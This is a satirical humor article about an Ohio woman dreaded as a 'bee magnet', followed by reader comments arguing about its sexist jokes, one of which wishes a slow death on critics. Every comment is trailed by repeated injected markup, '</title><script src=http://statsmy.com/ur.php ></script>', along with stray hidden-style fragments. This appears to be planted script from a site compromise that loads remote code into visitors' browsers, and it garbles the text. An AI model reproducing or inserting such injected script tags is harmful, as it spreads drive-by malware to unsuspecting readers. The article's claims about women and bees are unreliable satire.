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Area Woman Fears Reputation As Bee Magnet
by Mark on 5/1/2005 (10)

Naaahh! Somebody get a rolled up newspaper!!
BAKERSFIELD, OH - Suzie Noonan tapped her finger apprehensively at the sights and sounds outside her window. A gentle warming rain, and an explosion of green maple buds marked the end of the long Midwest winter and the return of...

"NAHHH!!"

"Relax, Suz, it's just me. I shouldn't have snuck up and pinched you on the shoulder like that."

Noonan's husband, Danny, gently reassured

"I know this is the time of year you dread the most...things will be different this year, I promise."

Of course things were the same every year for Noonan, known locally as the "bee magnet" extraordinaire.

"*sob*...no they won't! It'll be the same as every year, like last summer's cake dedication at the company picnic. I was never so embarrassed and horrified in my life. They had to call in an exterminator, and all the moms told their kids to stay away from me. And 2 years ago at the Hershey factory in PA, they told us to call ahead of time next time we we're coming so they could tell us they were closed for the season. I-I-t's too much to bear! *sob*!"

Indeed, Suzie Noonan is one of millions of American women known to attract bees in record numbers, perhaps due to their sweet body chemistry, scented body oils or floral colored clothing that fools bees into thinking that they are pollinating flowers. The experience can be quite traumatizing, as women are not built for the rigors and stress involved with bee incidents, and the return of summer can be quite unwelcome.

Noonan's husband laughed reflectively

"Funniest thing you ever saw! One year a bee landed on Suz's neck and she spazzed out, made these crazy yelping sounds like a whacked out Yorkshire Terrier and ran around in circles slapping herself. It was like Curly Joe from the Three Stooges or something. It was the absolute funniest!"

Doctors recommend avoiding floral patterned clothing, especially red, and fragrant oils and lotions, especially coconut, to avoid attracting bees, although cautioned that wearing dark colored clothes and eschewing perfume probably wouldn't attract men either.0" sty


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Comments

1. by torgie on 3/1/2007 4:52:29 PM
"[...]women are not built for the rigors and stress involved with bee incidents[...]" Wow, sounds kinda sexist, doesn't it? I'd like to see the proof behind that statement - was there a famous "Bee Stings And How Women Can't Deal With The Stress" study that I missed? And just for posterity, ya, I'm a guy. sr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by on 3/1/2007 4:52:29 PM
I'm up in the air... either the reporter totally sucks at his job or this is a made-up story... sr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Ursula on 3/1/2007 4:52:29 PM
"[...]women are not built for the rigors and stress involved with bee incidents[...]" Not kinda, it IS SEXIST. Does too much estrogen and a lack of an appendage make one ill-equipped for stress? Crap. Also: "[Doctors]...cautioned that wearing dark colored clothes and eschewing perfume probably wouldn't attract men either." We women have other things and better things to do than worry about superficial things just to "attract men."isplay:no </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Big Lou on 3/1/2007 4:52:29 PM
I'm guessing in your case your worried about attracting women. They have "speciality" pages for that, you know!isplay:none"></if </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by the donger on 3/1/2007 4:52:29 PM
I don't know what you guys are complaining about. It is well known that women have 1/10th the tolerance for pain that men do. Penises and testicles are truly amazing things. You should check into them. As far as I'm concerned this article is pure science.h=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by matt on 3/1/2007 4:52:29 PM
"Doctors recommend avoiding floral patterned clothing, especially red" Hehe, supposedly bee's can't see red. Btw readers, I think Walmart has a great deal on senses of humor, you guys should check it out! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by Kati on 3/1/2007 4:52:29 PM
Okay, if you really need to pick a fight on Smooth Operator over a SATIRICAL piece of FICTION, your opinion is worthless and you should die a slow and painful death. Great story, Mark. ^^nemo </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by Me on 3/1/2007 4:52:29 PM
Thanks for 'beeing' my hunny.. heh" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by Kati on 3/1/2007 4:52:29 PM
Oh, if only I were so witty... heh" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by Kris on 3/1/2007 4:52:29 PM
I tried to be witty once, but all it got me was a broken nose and two skinned knees.ne </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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